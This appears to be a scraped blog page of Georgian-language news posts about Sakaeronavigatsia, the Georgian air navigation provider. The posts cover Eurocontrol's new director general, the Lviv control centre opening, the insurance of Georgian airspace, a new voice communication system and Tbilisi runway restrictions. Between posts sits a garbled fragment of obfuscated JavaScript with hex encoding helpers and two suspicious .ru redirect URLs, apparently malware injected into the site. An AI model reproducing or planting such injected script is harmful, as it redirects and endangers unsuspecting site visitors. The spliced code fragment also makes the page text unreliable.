ევროკონტროლს ახალი გენერალური დირექტორი ჰყავს

საჰაერო ნავიგაციის უსაფრთხოების ევროპული ორგანიზაციის (ევროკონტროლი) ახალი ხელმძღვანელი ირლანდიელი კანდიდატი ემონ ბრენანი გახდა. ის გენერალური დირექტორის საქმიანობას 2018 წლის 1 იანვრიდან დაიწყებს. ემონ ბრენანი ფრენკ ბრენერს შეცვლის, რომელიც ევროკონტროლის გენერალური დირექტორის  პოზიციაზე 2013 წლიდან 2017 წლის 31 დეკემბრამდეა არჩეული.

ევროკონტროლის გენერალური დირექტორის პოზიციაზე ბრენანის კანდიდატურა ირლანდიის მთავრობამ წარადგინა.  არჩევნები 2017 წლის 16 ივნისს გაიმართა, სადაც საქართველომ ამომრჩევლის რანგში პირველად მიიღო მონაწილეობა.

„ემონ ბრენანი წამყვანი ფიგურაა ევროპულ ავიაციაში. მისი გამოცდილება და საჰაერო მიმოსვლის მენეჯმენტის წინაშე მდგარი გამოწვევების სიღრმისეული ცონდა ფასდაუდებელი იქნება ევროკონტროლისთვის, რათა ორგანიზაციამ შეძლოს წევრი სახელმწიფოების საჭიროებებზე რეაგირება და მხარი დაუჭიროს ერთიანი ევროპული ცის სრულ იმპლემენტაციას პან-ევროპულ კონტექსტში.“ – აღნიშნა ევროკონტროლის მუდმივმოქმედი კომისიის პრეზიდენტმა და პოლონეთის საავიაციო ხელისუფლების გენერალურმა დირექტორმა პიოტრ სამსაონმა.

გენერალური დირექტორის არჩევნებში გამარჯვებულმა ბრენანმა მადლობა გადაუხადა ირლანდიის მთავრობას და ირლანდიის სამოქალაქო ავიაციის გენერალურ დირექტორს, მისი ნომინირებისთვის. მან, ასევე, მადლობა გადაუხადა ევროკონტროლის მუდმივმოქმედ კომისიას და დროებით საბჭოს, მის მიმართ გამოხატული ნდობისათვის.

გოჩა მეზვრიშვილი

„იმედი მაქვს, შევძლებ გამოვიყენო ჩემი გამოცდილება იმისათვის, რომ  მომდევნო 5 წლის განმავლობაში  ევროპის ავიაციის უსაფრთხო და პროგრესული განვითარება უზრუნველვყოთ.“ – განაცხადა ბრენანმა.

ბრენანი საქართველოში წინასაარჩევნო კამპანიის ფარგლებში იმყოფებოდა. შპს “საქაერონავიგაციაში” მან თავისი წინასაარჩევნო პრეზენტაცია გამართა, სადაც კომპანიის წარმომადგენლებს ევროპის სამოქალაქო ავიაციის განვითარებისა და ევროკონტროლის მომავალი საქმიანობის მისეული ხედვა და მიზნები გააცნო.

შპს „საქაერონავიგაცია“ლვოვის საჰაერო მოძრაობის მართვის ცენტრის გახსნის ცერემონიაზე

უკრაინის საჰაერო ნავიგაციის სერვისის პროვაიდერის (UkSATSE) მოწვევით, 26 აგვისტოს ეკონომიკისა და მდგრადი განვითარების სამინისტროს შპს „საქაერონავიგაციის“ დელეგაცია  ლვოვის საჰაერო მოძრაობის მართვის ახალი რეგიონალური ცენტრის გახსნის ცერემონიას დაესწრო.

ლვოვში საჰაერო მოძრაობის მართვის ახალი ცენტრის მშენებლობა  2013 წელს დაიწყო. სამშენებლო სამუშაოების დასრულების შემდეგ, რეგიონალურ ცენტრში დამონტაჟდა თანამედროვე საჰაერო მოძრაობის მართვის სისტემა (Roksolana).

“ვულოცავ, უკრაინას ახალი რეგიონალური მართვის ცენტრის გახსნას, რაც კიდევ უფრო აამაღლებს ფრენის უსაფრთხოების დონეს ქვეყანაში. საქაერონავიგაცია წლებია თანამშრომლობს უკრაინელ კოლეგებთან. ჩვენი მჭირდო, მეგობრული ურთიერთობა საშუალებას გვაძლევს გავუზიაროთ ერთმანეთს ცოდნა და გამოცდილება და ამით, კიდევ უფრო ავამაღლოთ ჩვენი კომპანიების მომსახურების ხარისხი.“ – განაცხადა შპს „საქაერონავიგაციის“ გენერალურმა დირექტორმა გოჩა მეზვრიშვილმა.

ლვოვის რეგინალური მართვის ცენტრი საჰაერო სივრცეს უკრაინის  რვა რეგიონში აკონტროლებს. დღეისათვის ის აღჭურვილია საერთაშორისო სტანდარტებით აღიარებული სისტემებითა და სანავიგაციო საშუალებებით.

საქაერონავიგაციის უპრეცენდენტო პროექტი

დღეიდან საქართველოს ცა დაზღვეული იქნება.  პროექტი, რომელიც ეკონომიკისა და მდგრადი განვითარების სამინისტროს შპს “საქაერონავიგაციამ” განახორციელა, უპრეცენდენტოა და მას საქართველოს საავიაციო ისტორიაში ანალოგი არ მოეძებნება. საქართველოს საჰაერო სივრცის დაზღვევა იქნება მნიშვნელოვანი წინსვლა ქართული ავიაციის საერთაშორისო სტანდარტებთან კიდევ უფრო მიახლოების პროცესში.

საჰაერო სივრცის დაზღვევის აუცილებლობა საქართველოს წინაშე რამდენიმე წლის წინდადგა, თუმცა მაშინ ამ პროექტის განხორციელება ვერ მოხერხდა. საქაერონავიგაციამ საჰაერო სივრცის დაზღვევის ვალდებულება  2014 წელს, ევროკონტროლში გაწევრიანების შემდეგ აიღო, ამ რეკომენდაციას მას საერთაშორისო საავიაციო ორგანიზაციებიც აძლევდნენ.

შპს „საქაერონავიგაციის” საქმიანობის არეალია საქართველოს საჰაერო სივრცე, ასევე, საქართველოს ტერიტორიაზე არსებული სამოქალაქო აეროპორტების (ქ. თბილისი, ქ. ქუთაისი, ქ. ბათუმი და დაბა მესტია)აფრენა-დაფრენის ზონები და ოკუპირებული აფხაზეთის საჰაერო სივრცის მაღალი სიმაღლე (FL-280 და ზევით).

“აღნიშნულ პროექტზემუშაობა 2 წლის წინ დავიწყეთ. პროცესი რთული იყო, გამოცდილება ამ კუთხით არ ჰქონდა არც საქაერონავიგაციას და არც სადაზღვევო კომპანიებს. საერთაშორისო საავიაციო ორგანიზაციების მხრიდან მოთხოვნები და პირობები კი მკაცრად იყო გაწერილი. ჩვენ დავეყრდენით ევროპულ გამოცდილებას, გავიარეთ კონსულტაციები სხვადასხვა ქვეყნის საჰაერო სერვისის პროვაიდერებთან და მოხარული ვარ, რომ ასეთი სახელმწიფოებრივი მნიშვნელობის პროექტი წარმატებით განვახორციელეთ. საქართველოს საჰაერო სივრცის დაზღვევით ორგანიზაცია კიდევ ერთხელ უსვამს ხაზს, რომ დარწმუნებულია თავისი თანამშრომლების მაღალ კვალიფიკაციაში და გააჩნია მაღალტექნოლოგიური, საერთაშორისო სტანდარტებთან შესაბამისი ინფრასტრუქტურა. პარალელურად ჩვენ პრიორიტეტად რჩება უახლესი ტექნოლოგიების დანერგვა და თანამშრომელთა კვალიფიკაციის მუდმივი ამაღლება’,- განაცხადა შპს “საქაერონავიგაციის” გენერალურმა დირექტორმა გოჩა მეზვრიშვილმა.

საჰაერო სივრცის დაზღვევა ითვალისწინებს შპს „საქაერონავიგაციის“, როგორც სააერნაოსნო მომსახურების მიმწოდებლის, საქმიანობის შედეგად შესაძლო სამოქალაქო სამართლებრივი პასუხისმგებლობის დაზღვევას მესამე პირთა წინაშე.  ანუ თუ საქართველოს საჰაერო სივრცეში, კომპანიის ბრალეულობით, მოხდება რაიმე საავიაციო ინციდენტი, დაზარალებულის უფლებები ყოველმხრივ დაცული, ხოლო ზარალი ანაზღაურებული იქნება. პასუხისმგებლობის ლიმიტი 500,000,000 აშშ დოლარია.

ღია ტენდერში სადაზღვევო კომპანია “უნისონმა” გაიმარჯვა, რომელიც საქართველოს სადაზღვევო ბაზრის ლიდერთა სამეულშია, გააჩნია მნიშვნელოვანი გამოცდილება და წარმომადგენლობითი პორტფელი. ამ ეტაპზე ყველა დეტალი საქაერონავიგაციას და უნისონს შორის შეთანხმებულია, რაც პროექტის წარმატებისთვის მყარი წინაპირობაა.

“სადაზღვევო კომპანია “უნისონმა” აიღო ვალდებულება და სამოქალაქო პასუხისმგებლობა 500 მილიონი აშშ დოლარის ფარგლებში 100%-ით გადააზღვია. გადამზღვევი კომპანიები, “საქაერონავიგაციის” მოთხოვნის შესაბამისად, დარეგისტრირებული არიან OECD (ეკონომიკური განვითარებისა და თანამშრომლობის ორგანიზაცია) წევრ ქვეყანაში და მათი საერთაშორისო სარეიტინგო შეფასებაა არანაკლებ Standard & Poor’s: A-. გადამზღვევი კომპანიებმა აიღეს პასუხისმგებლობა, მზღვეველის გაკოტრების ან ლიკვიდაციის შემთხვევაში, ხელშეკრულებით გათვალისწინებული ვალდებულებების შესრულებაზე. იმედი მაქვს, ჩვენი და საქაერონავიგაციის თანამშრომლობა წარმატებული იქნება, – აღნიშნა სადაზღვევო კომპანია “უნისონის” დირექტორმა ვასილ ახრახაძემ.

“საქაერონავიგაციის” სამოქალაქო პასუხისმგებლობის დაზღვევის პროექტი არის სახელმწიფოებრივი მნიშვნელობის აქტი, რადგან ის საქართველოს მთავრობას ათავისუფლებს შესაძლო საავიაციო ინციდენტის შედეგად წარმოშობილი ფინანსური პასუხისმგებლობისგან 500 მილიონი დოლარის ფარგლებში.

დაზღვეული ქართული ცა კიდევ უფრო მიმზიდველი გახდება ბევრი ქვეყნის სააერნაოსნო სერვისის პროვაიდერებისთვის და შესაბამისად, უცხოური ავიაკომპანიებისთვის. ეს პროექტი არის მნიშვნელოვანი ნაბიჯი ქართული ავიაციის აღმშენებლობის, მისი მდგრადობის, საიმედოობისა და დამოუკიდებლობის განმტკიცების კუთხით.

 

 

 

 

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "airnav.wordpress.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

შპს „საქაერონავიგაციაში“ ხმოვანი კავშირის ახალი სისტემა დამონტაჟდება

საქართველოს ეკონომიკისა და მდგრადი განვითარების სამინისტროს შპს „საქაერონავიგაციამ“ ხმოვანი კავშირის ახალი სისტემა შეიძინა. უსაფრთხო ფრენების განხორციელება, ავიამეთვალყურის და საჰაერო ხომალდებს შორის კავშირის გარეშე, წარმოუდგენელია. საქაერონავიგაციას და იტალიურ კომპანია “S.I.T.T.I. S.p.A”-ს შორის გაფორმდა ხელშეკრულება ხმოვანი კავშირის სისტემის (VCS) შესყიდვისა და მისი დანერგვის თაობაზე.

Gocha Mezvrishvili

„საჰაერო მოძრაობის მართვის პროცესში  ხმოვანი კავშირის სისტემა უმნიშვნელოვანესია. იმისათვის რომ უსაფრთხო ფრენები განხორციელდეს აუცილებელია საიმედო კავშირი მეთვალყურეებს და საჰაერო ხომალდებს შორის, აგრეთვე მეთვალყურეებს და მიწისზედა სამსახურებს და მეზობელ ცენტრებს შორის. ამჟამად შპს „საქაერონავიგაციაში“ არსებული ხმოვანი კავშირის სისტემა დაფუძნებულია მოძველებულ ტექნოლოგიებზე და ახალი INDRA-ს სისტემის დანერგვის შემდეგ, ვეღარ დააკმაყოფილებს საერთაშორისო რეკომენდაციებს. იტალიური კომპანია “S.I.T.T.I. S.p.A”-ის მიერ წარმოებულისისტემის შესყიდვისა და   დანერგვის პროცესები სრულიად შეესაბამება ევროკონტროლის ერთიანი ევროპული ცის იმპლემენტაციის (ESSIP) 2015 წლის განვითარების გეგმაში მოცემულ დეტალურ  მოთხოვნებს.“ – განაცხადა საქაერონავიგაციის გენერალურმა დირექტორმა გოჩა მეზვრიშვილმა.

გოჩა მეზვრიშვილი

ახალი სისტემა დამონტაჟდება საჰაერო მოძრაობის მართვის ავტომატიზირებული სისტემის სამუშაო პოზიციებზე (თბილისის ძირითადი სისტემა, ქუთაისის სარეზერვო სისტემა და თბილისის ტრენინგ ცენტრი). იტალიური კომპანიის მიერ წარმოებული სისტემა ინტეგრირებული იქნება საჰაერო მოძრაობის მართვის ახალი ავტომატიზირებული სისტემის (INDRA) შესაბამის ნაწილში.

უმაღლესი სტანდარტის, ახალი ხმოვანი კავშირის სისტემა შპს „საქაერონავიგაციას“ საშუალებას მისცემს, კიდევ უფრო მაღალ დონეზე უზრუნველყოს ფრენების უსაფრთხოება საქართველოს საჰაერო სივრცეში.

 

თბილისის საერთაშორისო აეროპორტში დღის საათებში ფრენა შეიზღუდება

თბილისის საერთაშორისო აეროპორტში, ასაფრენი ზოლის სარეაბილიტაციო სამუშაოების გამო, დღის საათებში ფრენა 4 თვის განმავლობაში შეიზღუდება.

1 მარტიდან 26 მარტამდე ფრენები შეიზღუდება  დილის 09:30-საათიდან  შუა დღის 03:00-საათამდე, ხოლო 27 მარტიდან 1  ივლისამდე: დილის 10:30-საათიდან საღამოს 08:00-საათამდე.  სამუშაოების დასრულების შემდეგ, თბილისის საერთაშორისო აეროპორტს ექნება განახლებული, უმაღლესი სტანდარტების ასაფრენი ზოლი და მოდერნიზებული სამიმოსვლო ბილიკების სისტემა, რომელიც ხელს შეუწყობს როგორც ახალი ავიაკომპანიების ბაზარზე შემოსვლას, ასევე, მგზავრთნაკადის სამომავლო ზრდას.  განახლებული ასაფრენი ზოლი შპს „საქაერონავიგაციის“ მიერ უახლესი, საერთაშორისო სტანდარტებთან შესაბამისი, შუქ-ტექნიკური საშუალებებით აღიჭურვება.